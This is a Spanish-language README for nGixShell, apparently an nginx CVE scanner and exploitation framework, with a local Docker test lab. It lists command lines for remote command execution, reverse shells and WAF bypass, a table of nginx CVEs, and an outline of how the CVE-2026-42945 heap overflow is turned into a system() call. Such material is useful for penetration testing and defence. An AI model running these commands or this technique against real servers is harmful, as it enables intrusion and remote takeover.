nGixShell es un escáner de CVE de nginx y un framework de explotación RCE. Incluye una prueba de concepto funcional para CVE-2026-42945 — un desbordamiento crítico de heap buffer en ngx_http_rewrite_module — y un escáner que cubre 53 CVEs de nginx con sondas HTTP automatizadas, huella digital, detección/evasión de WAF, auditoría de seguridad web y generación de informes.
Cero dependencias externas. Solo stdlib de Python 3.
Inicio rápido
root@kitploit:~
# Spin up the vulnerable lab
docker compose -f env/docker-compose.yml up -d
# Auto mode — fingerprint + CVE scan + web audit
python3 ngixshell.py 127.0.0.1:19321
# Execute a command via RCE (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'
# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# Multiple targets from a file
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
Sin necesidad de indicar opciones — apuntar la herramienta a un objetivo ejecuta todo automáticamente.
TLS se detecta automáticamente. nginx se identifica incluso con server_tokens off.
Se ejecuta automáticamente en modo escaneo. Todos los módulos pueden omitirse individualmente.
Flag
Descripción
--skip-headers
Omite la auditoría de cabeceras de seguridad HTTP
--skip-paths
Omite el descubrimiento de rutas/archivos
--skip-vhosts
Omite la enumeración de hosts virtuales
--skip-tls
Omite la auditoría del protocolo TLS
--path-wordlist FILE
Rutas adicionales a probar (una por línea)
Auditoría de cabeceras — HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, cabeceras que filtran la versión
Descubrimiento de rutas — 50+ rutas; sonda centinela elimina falsos positivos de reglas catch-all 403/301
Enumeración de hosts virtuales — requiere diferencia de estado Y cuerpo para evitar falsos positivos de bloqueo por defecto
Auditoría TLS — prueba soporte TLS 1.0–1.3, caducidad de certificados y detección de autofirmados
stub_status — analiza métricas de conexión activa desde /nginx_status si está expuesto
Conexión
Flag
Descripción
--port PORT
Sobrescribe el puerto
--tls
Fuerza TLS (por defecto se detecta automáticamente)
--proxy URL
Proxy: http://, https://, socks5://
HTTP
Flag
Descripción
--user-agent UA
User-Agent personalizado
--auth USER:PASS
Autenticación básica HTTP
--cookie VALUE
Cabecera Cookie
--header NAME:VALUE
Cabecera adicional (repetible)
Tasa / Temporización
Flag
Descripción
--rate-limit RPS
Máximo de peticiones por segundo
--jitter MS
Retardo aleatorio de 0–MS ms entre peticiones
--retry N
Reintentar sondas no concluyentes (por defecto: 1)
--timeout-multiplier X
Escalar todos los tiempos de espera (por defecto: 1.0)
Salida
Flag
Descripción
--output FILE
Escribe el registro en FILE
--json
Imprime resumen JSON al final
--html-report [FILE]
Genera informe HTML (por defecto: ngixshell_<host>_<ts>.html)
--verbose
Salida de depuración
Cobertura de CVE
53 entradas que abarcan de 2009 a 2026. Ordenadas por CVSS.
CVE
CVSS
Componente
Descripción
CVE-2026-42945
9.8 CRITICAL
rewrite
Desbordamiento de heap → RCE (explotado)
CVE-2026-42946
8.1 HIGH
rewrite
Corrupción de memoria (mismo aviso)
CVE-2022-41741
7.8 HIGH
mp4
Corrupción de memoria mediante mp4 malicioso
CVE-2016-1247
7.8 HIGH
packaging
Escalada de privilegios por enlace simbólico en archivo de log
CVE-2021-23017
7.7 HIGH
resolver
Sobrescritura de heap off-by-one
CVE-2026-40701
7.5 HIGH
request
Corrupción de memoria en el procesamiento de peticiones
CVE-2026-42934
7.5 HIGH
request
Corrupción de memoria (mismo aviso)
CVE-2026-27784
7.5 HIGH
mp4
Desbordamiento de búfer mediante mp4 manipulado
CVE-2026-32647
7.5 HIGH
mp4
Desbordamiento de búfer (hermano del anterior)
CVE-2024-24990
7.5 HIGH
HTTP/3
Use-after-free en el módulo QUIC
CVE-2024-24989
7.5 HIGH
HTTP/3
Desreferencia de puntero NULL en QUIC
CVE-2024-31079
7.5 HIGH
HTTP/3
Desbordamiento de pila en el codificador QUIC
CVE-2024-32760
7.5 HIGH
HTTP/3
Sobrescritura de búfer mediante trama HEADERS
CVE-2022-41742
7.5 HIGH
mp4
Revelación de memoria heap
CVE-2017-7529
7.5 HIGH
range filter
Desbordamiento de enteros → lectura fuera de límites
CVE-2016-0746
7.5 HIGH
resolver
Use-after-free mediante respuesta DNS manipulada
CVE-2014-0133
7.5 HIGH
SPDY
Desbordamiento de heap en la implementación SPDY
CVE-2014-0088
7.5 HIGH
SPDY
Corrupción de memoria en SPDY
CVE-2013-4547
7.5 HIGH
core
Bypass de URI con espacio+NUL
El Bug (CVE-2026-42945)
El motor de scripts de reescritura de nginx utiliza un modelo de dos pasos: calcular el tamaño del búfer, luego copiar. El flag is_args se establece en el motor principal cuando una sustitución de rewrite contiene ?, pero el paso de cálculo de longitud se ejecuta sobre un sub-motor recién puesto a cero:
Paso de longitud — ve is_args = 0 → devuelve la longitud bruta de la captura
Paso de copia — ve is_args = 1 → llama a ngx_escape_uri(NGX_ESCAPE_ARGS), expandiendo cada byte no seguro a 3 bytes
La copia desborda el búfer heap de tamaño insuficiente con datos URI controlados por el atacante. La explotación corrompe un puntero de limpieza ngx_pool_t adyacente mediante feng shui de heap entre peticiones, redirigiéndolo a un ngx_pool_cleanup_s falso que llama a system() al destruir el pool.